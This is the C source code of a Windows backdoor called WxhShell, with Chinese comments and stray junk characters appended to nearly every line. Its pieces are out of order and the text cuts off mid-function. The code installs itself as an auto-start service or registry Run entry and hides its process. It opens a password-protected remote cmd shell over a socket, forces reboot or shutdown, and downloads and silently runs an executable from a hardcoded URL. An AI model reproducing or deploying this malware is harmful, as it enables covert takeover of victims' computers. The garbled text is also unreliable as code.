    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j&?NE1D>I  
    if(Boot(SHUTDOWN)) :U;ZBs3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Gd8 <  
    else { 93y.u<,2;  
    closesocket(wsh); ~F]- +|  
    ExitThread(0); G#0 4h{  
    } Zt[1RMO  
    break; (5N&bh`E  
    } "mE<r2=@  
  // 获取shell Wc_Ph40C<_  
  case 's': { 8 YBsYKC  
    CmdShell(wsh); F3a"SKMW  
    closesocket(wsh); [w)6OT  
    ExitThread(0); 7<?v!vQ}-  
    break; |v{ a5|<E  
  } C`x>)wm:  
  // 退出 Rf\>bI<.  
  case 'x': { DI!l.w5P_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D`.CXFI+U  
    CloseIt(wsh); gGdZ}9  
    break; uoKC+8GA  
    } aARm nV  
  // 离开 U=%S6uL\bx  
  case 'q': { fr\UX}o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @,sg^KB  
    closesocket(wsh); ? B^*YCo7(  
    WSACleanup(); 5,qfr!hN,  
    exit(1); &e% y|{Y  
    break; Wm.SLr,o0  
        } rq6(^I  
  } p2 y h  
  } gzHjD-g-<  
s\Cl3  
  // 提示信息 {N;XjV1x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5kJ>pb$/  
} Md[nlz  
  } U]ouBG8/  
+Mv0X%(N  
  return; `^afbW  
} Ybx4 Up@  
!H,R$3~  
// shell模块句柄 $X-,6*  
int CmdShell(SOCKET sock) Fu m1w  
{ ^yu^Du  
STARTUPINFO si; f=J#mmH w$  
ZeroMemory(&si,sizeof(si));  c:~o e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z!|nc.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /)y~%0  
PROCESS_INFORMATION ProcessInfo; /{1xpR  
char cmdline[]="cmd"; mrd(\&EhA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lTdYPqMi  
  return 0; r"rID RQ"  
} Mp$ uEi  
$K8ZxH1z@  
// 自身启动模式 "mT~_BsD  
int StartFromService(void) bU:"dqRm<  
{ ^#%$?w>wI  
typedef struct +V7*vlx-  
{ T0RgCU IV  
  DWORD ExitStatus; +|( eP_  
  DWORD PebBaseAddress; x_(B7ob  
  DWORD AffinityMask; NCSb`SC:  
  DWORD BasePriority; /tP"r}l   
  ULONG UniqueProcessId; !OWV* v2  
  ULONG InheritedFromUniqueProcessId; mKnkHGM  
}   PROCESS_BASIC_INFORMATION; vC J  
OBN]bvCJ  
PROCNTQSIP NtQueryInformationProcess; n2Ycq&O  
h.~S^uKi*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FK={ %  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S)$ES6]9/  
v=SC*  
  HANDLE             hProcess; iQin|$F_O  
  PROCESS_BASIC_INFORMATION pbi; -\>Bphu,y  
";",r^vr\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fz)z&WT  
  if(NULL == hInst ) return 0; t_@%4Wn!1L  
{v]A`u)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c+|,2e 0T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %qfEFhRC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bEy j8=P;  
"PJ@Q9n__  
  if (!NtQueryInformationProcess) return 0; xp>r a2A  
2lHJ&fck<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6]Ppa ~Xwq  
  if(!hProcess) return 0; R[Kyq|UyVr  
KH2a 2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cy/;qd+!M  
&Cdk%@Tj]B  
  CloseHandle(hProcess); @ou g^]a  
|{Z?a^- NJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0$/wH#f  
if(hProcess==NULL) return 0; `Nu3s<O7CF  
|7UR_(}KC  
HMODULE hMod; \nPa>2r  
char procName[255]; OYNs1yB  
unsigned long cbNeeded; -Vt*(L  
eSywWSdf0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =1yU& PJ  
+&-/$\"  
  CloseHandle(hProcess); nvsuF)%9hZ  
Kv!CL9^LX7  
if(strstr(procName,"services")) return 1; // 以服务启动 nY}Ep\g  
i v&:X3iB  
  return 0; // 注册表启动 Gv6EJV1i  
} ],&WA?>G  
hq$:62NYg  
// 主模块 vQ26U(7\>  
int StartWxhshell(LPSTR lpCmdLine) qeSxE`E"  
{ Uq0RJ<n  
  SOCKET wsl; JyYg)f  
BOOL val=TRUE; 8KT|ixs  
  int port=0; m[Px|A5{  
  struct sockaddr_in door; x"5/1b3aq  
XrtB&h|C  
  if(wscfg.ws_autoins) Install(); }N*6xr*X+  
i@Q)`>4  
port=atoi(lpCmdLine); 4wMKl6mL  
-&D~TL#  
if(port<=0) port=wscfg.ws_port; "F}a nPY  
qS|bpC0x  
  WSADATA data; :kfl q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TQ.d|{B[  
?fc({zb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^cDHyB=v4d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .0cm mpUNq  
  door.sin_family = AF_INET; wp-*S}TT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -GDX#A-J  
  door.sin_port = htons(port); X]tjT   
KE&Y~y8O\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ d+&&ns  
closesocket(wsl); mn?< Zz  
return 1; M8:gHjwsx  
} ^'*9,.ltd  
70mQ{YNN  
  if(listen(wsl,2) == INVALID_SOCKET) { B@=+Fg DD  
closesocket(wsl); \O^b|0zc  
return 1; D%Hz'G0|  
} u==bLl=$  
  Wxhshell(wsl); UP 75}h9  
  WSACleanup(); 73rr"> 9#0  
S3`zB?7,  
return 0; uRh`qnL  
0^5SL/2  
} kf~ D m}bV  
{(Drw~/@  
// 以NT服务方式启动 [>oq~[e)?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j$n[; \]n  
{ wz$1^ml  
DWORD   status = 0; /^ hB6_'D  
  DWORD   specificError = 0xfffffff; C5\bnk{  
<hkg~4EKc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~:D}L   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  }aRV)F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,/C<GFae  
  serviceStatus.dwWin32ExitCode     = 0; A+69_?B TH  
  serviceStatus.dwServiceSpecificExitCode = 0; G5Y 8]N  
  serviceStatus.dwCheckPoint       = 0; r,A750P^  
  serviceStatus.dwWaitHint       = 0; b-@6w(j  
e 9U\48  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T8JM4F  
  if (hServiceStatusHandle==0) return; peY(4#  
W0K&mBu  
status = GetLastError(); SVpvx`&kT  
  if (status!=NO_ERROR) ~*ZB2  
{ kb Fr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $oHlfV/!  
    serviceStatus.dwCheckPoint       = 0;  ^GB9!d.  
    serviceStatus.dwWaitHint       = 0; h3h2 KqM'  
    serviceStatus.dwWin32ExitCode     = status; k 9R_27F  
    serviceStatus.dwServiceSpecificExitCode = specificError; S92'\2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bi ]`e_(}  
    return; 8G?'F${`  
  } 68kxw1xY  
!O-q13\Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ultx|qU  
  serviceStatus.dwCheckPoint       = 0; z%Op_Ddp  
  serviceStatus.dwWaitHint       = 0; <=/v%VXPm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ny /bNQS  
} F=EAD3  
-ytSS:|%\  
// 处理NT服务事件,比如:启动、停止 /x"gpKwsB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) DzkE*vR  
{ jX$TiG  
switch(fdwControl) `^-?yu@  
{ |qE"60&"}  
case SERVICE_CONTROL_STOP: WOZf4X`[  
  serviceStatus.dwWin32ExitCode = 0; n6ETWjP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^VR1whCrx  
  serviceStatus.dwCheckPoint   = 0; 8*;G\$+  
  serviceStatus.dwWaitHint     = 0; f9cS^v_:  
  { \O/EY&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i%GjtYjS  
  } c BQ|m A  
  return; kZs  
case SERVICE_CONTROL_PAUSE: ?>N82#9Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?"$W=*P\o  
  break; 4d)w2t?H%  
case SERVICE_CONTROL_CONTINUE: L"rLalUw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3Wrl_V  
  break; \7nlwFAO  
case SERVICE_CONTROL_INTERROGATE: xAMj16ZF  
  break; Oj:O-PtN2  
}; 1 M7=*w,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %np b.C|+  
} y@ J\h8_  
?D/r1%Z  
// 标准应用程序主函数 D9B?9Qt2[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L}ud+Wfox  
{ 2-ev7:  
mHE4Es0  
// 获取操作系统版本 Z~F% K~(  
OsIsNt=GetOsVer(); L01R.3Z+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5YUn{qtD  
#IDDKUE  
  // 从命令行安装 @I2m4Q{O  
  if(strpbrk(lpCmdLine,"iI")) Install(); LyhLPU0^q  
-@b&qi7&S  
  // 下载执行文件 %;(+s7  
if(wscfg.ws_downexe) { DZ?>9W{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N+rLbK*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^2[0cne  
} U5jY/e_  
6*Qn9Q%p-  
if(!OsIsNt) { lY[>}L*H8  
// 如果时win9x,隐藏进程并且设置为注册表启动 yL^1s\<ddW  
HideProc(); 0|9(oP/:  
StartWxhshell(lpCmdLine); ELeR5xT  
} M. 1R]x( |  
else -N(y+~wN  
  if(StartFromService()) :!;BOCTYI  
  // 以服务方式启动 XA5gosq  
  StartServiceCtrlDispatcher(DispatchTable); F'lG=c3N  
else HdGAE1eU]}  
  // 普通方式启动 O?p.kf{b  
  StartWxhshell(lpCmdLine); Mc oHV]x  
jb$sIZ%i  
return 0; G1  %c<1Y  
} }UMg ph:2:  
EMU~gwPR  
3!`Pv ?|o  
Jg/l<4,K,  
===========================================  %1<No/  
x-:vpv%6y  
h ^g"FSzP  
 7=0uG  
us\@n"  
Wxkk^J9F3  
" (P~Jzp9u  
Gy.<gyK9  
#include <stdio.h> S;M'qwN  
#include <string.h> {H#1wu^]O$  
#include <windows.h> YiB]}/  
#include <winsock2.h> Qzw~\KY:  
#include <winsvc.h> "Y }f"X|  
#include <urlmon.h> ?t$sju(\  
X?z5IL;rt  
#pragma comment (lib, "Ws2_32.lib") zLc.4k  
#pragma comment (lib, "urlmon.lib") 1GN>,Lb: o  
Y}7'OM  
#define MAX_USER   100 // 最大客户端连接数 LN ]ks)  
#define BUF_SOCK   200 // sock buffer +2O('}t  
#define KEY_BUFF   255 // 输入 buffer p<Wb^BE  
%h=)>5-T  
#define REBOOT     0   // 重启 kX zm  
#define SHUTDOWN   1   // 关机  g2L  
AT}}RE@vq  
#define DEF_PORT   5000 // 监听端口 5Qd |R  
5)' _3r  
#define REG_LEN     16   // 注册表键长度 TyD*m$`y  
#define SVC_LEN     80   // NT服务名长度 8jd<|nYnfc  
KGxF3xS*7  
// 从dll定义API Gg|'T}0X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4*&x% ~*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yZ~<! 5.P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EXH{3E54)`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'C+z  
Qh%/{6(u  
// wxhshell配置信息 U8]L3&~  
struct WSCFG { X5U_|XK6Y  
  int ws_port;         // 监听端口 T#6']D  
  char ws_passstr[REG_LEN]; // 口令 q#LwM]<.@>  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7s; <5xc  
  char ws_regname[REG_LEN]; // 注册表键名 D$q"k"  
  char ws_svcname[REG_LEN]; // 服务名 |Yh-`~~A"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5'@J}7h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [&|Le;h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0){%4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @;qC % +^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {S%)GvrT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yT`[9u,  
0a QtJ0e16  
}; ^c83_93)R  
bxyEn'vNvQ  
// default Wxhshell configuration tPPnW  
struct WSCFG wscfg={DEF_PORT, @g9j+DcU  
    "xuhuanlingzhe", 2`+?s  
    1, yY_G;Wk  
    "Wxhshell", `~UCWK  
    "Wxhshell", Re5m  
            "WxhShell Service", \3n{%\_  
    "Wrsky Windows CmdShell Service", leiED'  
    "Please Input Your Password: ", #i-!:6sLA  
  1, m?'5*\(ST  
  "http://www.wrsky.com/wxhshell.exe", J_}&Btb)e  
  "Wxhshell.exe" Xx[ L K  
    }; p|,K2^?Y  
auAST;"Z8  
// 消息定义模块 ><"5 VwR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K~<pD:s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =x> z|1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1)?^N`xF  
char *msg_ws_ext="\n\rExit."; {k1s@KXtd  
char *msg_ws_end="\n\rQuit."; @I\Z2-J  
char *msg_ws_boot="\n\rReboot..."; :{h,0w'd  
char *msg_ws_poff="\n\rShutdown..."; $ ;>,  
char *msg_ws_down="\n\rSave to "; J9)wt ?%j  
]/p0j$Tq$  
char *msg_ws_err="\n\rErr!"; M$1+,[^f  
char *msg_ws_ok="\n\rOK!"; }U7>_b2  
qnW5I_]  
char ExeFile[MAX_PATH]; ItDe_|!L  
int nUser = 0; 583ej2HPg  
HANDLE handles[MAX_USER]; #j d?ocoY  
int OsIsNt; ,a?)#X  
@pQv}%  
SERVICE_STATUS       serviceStatus; HQ7-,!XO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vF;6Y(h>  
>4ebvM 0|  
// 函数声明 75K~ebRr  
int Install(void); Vm'ReH  
int Uninstall(void); /4#.qq0\{c  
int DownloadFile(char *sURL, SOCKET wsh); F) {f{-@)  
int Boot(int flag); M$FXDyr  
void HideProc(void); .!KlN%As  
int GetOsVer(void); [4 g5 {eX  
int Wxhshell(SOCKET wsl); \cPGyeq  
void TalkWithClient(void *cs); `PSr64h:D  
int CmdShell(SOCKET sock); Id]WKL:  
int StartFromService(void); SjKIn-  
int StartWxhshell(LPSTR lpCmdLine); uQ&&? j  
-}{\C]%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cmt3ceCb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }CsUZ&*&  
5U|f"3&8  
// 数据结构和表定义 ijr*_=  
SERVICE_TABLE_ENTRY DispatchTable[] = L}nj#z4g  
{ <%JdQ82?  
{wscfg.ws_svcname, NTServiceMain}, |?s%8c'w=  
{NULL, NULL} PdMx6 Ab  
}; Mb\~WUWI  
&w2.b:HF  
// 自我安装 $MKx\qx}  
int Install(void) 1(w0* `  
{ ]WN{8   
  char svExeFile[MAX_PATH]; o80pmy7@  
  HKEY key; dLD"Cx  
  strcpy(svExeFile,ExeFile); a&#Z=WK4  
< t>N(e  
// 如果是win9x系统,修改注册表设为自启动 ^>GL<1 1  
if(!OsIsNt) { <^R\N#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Bc f~[ErM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?P<&8eY  
  RegCloseKey(key); )pr pG !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { GK95=?f~8;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &BG^:4b  
  RegCloseKey(key); ~#I1!y~`  
  return 0; ~W5 fJd0  
    } IAnY+= ^  
  } ,U>g LTS  
} #$jAGt3^BT  
else { [+{ ot   
/Ia=/Jj7N  
// 如果是NT以上系统,安装为系统服务 ~lCG37  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v6s8 p  
if (schSCManager!=0) Zx}=c4I(y  
{ zZDG5_$n  
  SC_HANDLE schService = CreateService 5y=X?hF~)  
  ( t@}<&{zk  
  schSCManager, ~rpYZLH/:0  
  wscfg.ws_svcname, XZd !c Ff  
  wscfg.ws_svcdisp, F!pUfF,&  
  SERVICE_ALL_ACCESS, {zbH.V[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ji A$6dZU  
  SERVICE_AUTO_START, 3WPMS/  
  SERVICE_ERROR_NORMAL, VxjHB?)  
  svExeFile, &9o @x]) @  
  NULL, AKa{C f  
  NULL, "kP.Kx!  
  NULL, L2{tof  
  NULL, GgA =EdJn  
  NULL M*t@Q|$:  
  ); E'XF n'  
  if (schService!=0) e{=7,DRH<  
  { &JfyXM[]  
  CloseServiceHandle(schService); mWmDH74  
  CloseServiceHandle(schSCManager); ^Xa-)Pu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9!2KpuWji  
  strcat(svExeFile,wscfg.ws_svcname); U%gP2]t%cs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7dPA>5"XD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (~}l?k  
  RegCloseKey(key); ]YevO(  
  return 0; G9E?   
    } E'MMhl o  
  } N_C\L2  
  CloseServiceHandle(schSCManager); \hi{r@k>}  
} p@cPm8L3  
} .]r[0U  
_ esFx  
return 1; aMv  
} sB7DF<91  
D3XQ>T[*q  
// 自我卸载 -.^Mt.)  
int Uninstall(void) %NeKDE  
{ jy&p_v1  
  HKEY key; Fi7pq2  
,{'~J @  
if(!OsIsNt) { ^4s#nf:}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qmxkmO+Qur  
  RegDeleteValue(key,wscfg.ws_regname); -|f9~(t  
  RegCloseKey(key); j{p0yuZ)<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "<!|am(  
  RegDeleteValue(key,wscfg.ws_regname); rB=1*.}FLc  
  RegCloseKey(key); X+&@$v1  
  return 0; diTzolY7  
  }  sGdt)  
} '7Te{^<FQ$  
} c (\-7*En  
else { :&_@U$  
Xj !0jF33  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CuuHRvU8  
if (schSCManager!=0) : FxZdE  
{ :M=!MgD3w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `uzRHbJ`  
  if (schService!=0) kx'6FkZPIr  
  { .@B \&U7  
  if(DeleteService(schService)!=0) { u;=("S{"0  
  CloseServiceHandle(schService); <#`<Ys3b*!  
  CloseServiceHandle(schSCManager); PicO3m  
  return 0; UK _2i(I"e  
  } m1+DeXR_g  
  CloseServiceHandle(schService); W9eR3q  
  } zaoZCyJT%  
  CloseServiceHandle(schSCManager); Q|pz].0  
} &=02.E@  
} D.?KgOZ  
^]aDLjD  
return 1; P6IhpB59  
} YdeSJ(:  
oO= 6Kd+T  
// 从指定url下载文件 WBC'~h<@  
int DownloadFile(char *sURL, SOCKET wsh) yP-.8[;  
{ A`OU} 'v?L  
  HRESULT hr; Dhef|E<  
char seps[]= "/"; #}k^g:l1  
char *token; >aa-ix &  
char *file; N|7._AR2  
char myURL[MAX_PATH]; ;Vp&f%u+v  
char myFILE[MAX_PATH]; m4 4aK qw)  
E"u>&uPH  
strcpy(myURL,sURL); F~* 5`o  
  token=strtok(myURL,seps); :UScbPG  
  while(token!=NULL) *a$z!Ma3h  
  { V2.MZ9  
    file=token; { 0Leua  
  token=strtok(NULL,seps); 0Q>Yoa 11  
  } hV=)T^Q  
:k(aH Ua  
GetCurrentDirectory(MAX_PATH,myFILE); M ?F({#]  
strcat(myFILE, "\\"); T_\GvSOI  
strcat(myFILE, file); .^Ek1fi.  
  send(wsh,myFILE,strlen(myFILE),0); nnr(\r~  
send(wsh,"...",3,0); Qz/=+A/4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )9@Ftzg|  
  if(hr==S_OK) '<XG@L  
return 0; n*_FC  
else Dk[[f<H_{  
return 1; lT$A;7[  
E-! `6  
} 6oJ~Jdn'  
ZEApE+m  
// 系统电源模块 pLk?<y  
int Boot(int flag) t,=khZ  
{ ?rr%uXQjH  
  HANDLE hToken; E@[`y:P  
  TOKEN_PRIVILEGES tkp; eb+[=nmP  
a2p<HW;)m  
  if(OsIsNt) { (wbG0lu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (<3'LhFII  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e#16,a-}o  
    tkp.PrivilegeCount = 1; ~BZA_w"`1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m3,]j\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A:;KU  
if(flag==REBOOT) { &|gn%<^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $Cf_RFH0  
  return 0; uWMAXGL  
} 3YRhqp"E  
else { gv<9XYByt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4}?Yp e-  
  return 0; A u(Ngq  
} !xa,[$w(^  
  } v?Y9z!M  
  else { +gT?{;3[i  
if(flag==REBOOT) { - d>)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZM4q@O)/  
  return 0; tR2IjvmsX  
} Q*U$i#,  
else { JY%c<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )7J@A%u  
  return 0; zXMIDrq  
} xJZbax[  
} x~Pv  
\_BaV0<  
return 1; h4.ZR={E  
} ?M\3n5;  
}{ 9E~"_[  
// win9x进程隐藏模块 LI(Wu6*Y  
void HideProc(void) Yo:>m*31  
{ -bKli<C  
59ro-nA9v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7?cZ9^z`w  
  if ( hKernel != NULL ) xt40hZ$  
  { Oja)J-QXb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2:2rwH }e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;XGG&M%3  
    FreeLibrary(hKernel); Y_f6y 9?ZE  
  } 5v>(xl  
\!s0VEE  
return; cV)C:!W2  
} (wvDiW5  
)zen"](cze  
// 获取操作系统版本 tS`fG;  
int GetOsVer(void) KWhw@y-5j@  
{ eGnc6)x@C  
  OSVERSIONINFO winfo; 0}HKmEM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); knF *~O :y  
  GetVersionEx(&winfo); SOeL@!_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "K~+T\^|k  
  return 1; iVnrv`k,  
  else 6P+8{ ?V&  
  return 0; PZH]9[H  
} [)9bR1wh  
Dth<hS,2J  
// 客户端句柄模块 ^=Up U B  
int Wxhshell(SOCKET wsl) 7uxy<#Ar  
{ l=bB,7gL  
  SOCKET wsh; J;'?(xO3\  
  struct sockaddr_in client; sx(yG9  
  DWORD myID; %VSST?aUvX  
!]5F2~"v  
  while(nUser<MAX_USER) g4%x7#vz0  
{ &87D.Yy^  
  int nSize=sizeof(client); 1<fEz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); '{U56^b]  
  if(wsh==INVALID_SOCKET) return 1; YceiP,!4?v  
ZK_IK)g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )SUT+x(DU  
if(handles[nUser]==0) qFf'RgUtP  
  closesocket(wsh); TZPWMCN4  
else 8|V6RgA%  
  nUser++; [#uX{!q'  
  } D='/-3f!F]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); --.:eFE/  
MT;<\T  
  return 0; Q_LPLmM  
} IN`05Q  
fm:/}7s  
// 关闭 socket y&9v0&o  
void CloseIt(SOCKET wsh) +<@7x16  
{ %E~4Ur  
closesocket(wsh); Qn<J@%  
nUser--; [-1Nn}  
ExitThread(0); I=Ws /+  
} >MS}7Hk\  
)#i]exZ  
// 客户端请求句柄 #Rjm3#gc  
void TalkWithClient(void *cs) )N`ia%p_]  
{ A^%z;( 0p  
A3yVT8  
  SOCKET wsh=(SOCKET)cs; A$fd6+{  
  char pwd[SVC_LEN]; 6$ @Pk<w  
  char cmd[KEY_BUFF]; rb&^ei9B  
char chr[1]; 1OE^pxfi>  
int i,j; &RpQ2*4n  
A CJmy2  
  while (nUser < MAX_USER) { BJ~Q\Si6  
"uqa~R{  
if(wscfg.ws_passstr) { u.8vXc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )d0&iE`@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k/!Vv#8  
  //ZeroMemory(pwd,KEY_BUFF); M ~.w:~Jm  
      i=0; LDr!d1A  
  while(i<SVC_LEN) { Ri aO`|1  
EmG`ga)s  
  // 设置超时 C[? itk!  
  fd_set FdRead; @+B .<@V  
  struct timeval TimeOut; [,|KVc=&H  
  FD_ZERO(&FdRead); Rm)vY}v  
  FD_SET(wsh,&FdRead); :#I8Cf  
  TimeOut.tv_sec=8; cd*y{Wt  
  TimeOut.tv_usec=0; $* 8c0.{U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Joq9.%7Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q.~.1 '`!  
26.iFt/:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z(*n ZT,  
  pwd=chr[0];  CG$S?  
  if(chr[0]==0xd || chr[0]==0xa) { M1Od%nz3  
  pwd=0; )Qb1$%r.  
  break; @l>\vs<  
  } (al7/EhY  
  i++; QH~/UnV  
    } $:/y5zi  
6SlE>b9tA  
  // 如果是非法用户,关闭 socket 0!_D M^3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }+i ZY\t  
} SX/yY  
=?vk n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f1hi\p0q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VH,k EbJ  
DU]MMR  
while(1) { "p2 $R*ie  
v#YO3nD  
  ZeroMemory(cmd,KEY_BUFF); 1}KNzMHk9  
(3c,;koRR  
      // 自动支持客户端 telnet标准   52wq<[#tK  
  j=0; dSk\J[D  
  while(j<KEY_BUFF) { r"Pj ,}$A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %49@  
  cmd[j]=chr[0]; _6^vxlF  
  if(chr[0]==0xa || chr[0]==0xd) { 7b:oz3?PI  
  cmd[j]=0; ;&;coH8`  
  break; S)@R4{=e"V  
  } JS}W4 N  
  j++; /M v\~vg$1  
    } u)R>ozER  
2frJSV?  
  // 下载文件 )'DFDrY  
  if(strstr(cmd,"http://")) { !ssE >bDa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y?ZTl762  
  if(DownloadFile(cmd,wsh)) n?!.r c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ')Ozz<{  
